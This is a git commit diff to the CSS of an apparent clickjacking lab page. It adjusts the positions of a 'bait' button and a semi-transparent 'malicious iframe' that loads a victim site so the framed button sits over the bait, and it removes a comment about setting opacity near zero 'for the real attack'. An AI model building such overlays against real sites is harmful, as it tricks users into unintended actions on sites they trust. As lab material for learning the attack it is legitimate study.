This commit is contained in:
mcoder 2026-04-15 11:47:33 +03:30
parent 8e0d1ccd41
commit 97e3739f54

View File

@ -25,8 +25,8 @@
/* The innocent-looking button the victim wants to click */ /* The innocent-looking button the victim wants to click */
.bait-button { .bait-button {
position: absolute; position: absolute;
top: 200px; /* Adjust these values to align with the iframe's target button */ top: 319px;
left: 200px; /* Adjust these values to align with the iframe's target button */ left: 292px;
width: 200px; width: 200px;
height: 50px; height: 50px;
background-color: #22c55e; background-color: #22c55e;
@ -36,22 +36,18 @@
border: none; border: none;
border-radius: 8px; border-radius: 8px;
cursor: pointer; cursor: pointer;
z-index: 1; /* Stays BEHIND the iframe */ z-index: 1;
} }
/* The malicious iframe loading the victim site */ /* The malicious iframe loading the victim site */
.malicious-iframe { .malicious-iframe {
position: absolute; position: absolute;
top: 0; top: -50px;
left: 0; left: 0px;
width: 100%; width: 100%;
height: 100%; height: 100%;
border: none; border: none;
z-index: 2; /* Stays ON TOP of the bait button */ z-index: 2;
/* IMPORTANT FOR LAB:
Keep opacity at 0.4 while aligning the iframe button over the bait button.
Once aligned perfectly, change opacity to 0.0001 for the real attack. */
opacity: 0.4; opacity: 0.4;
} }
</style> </style>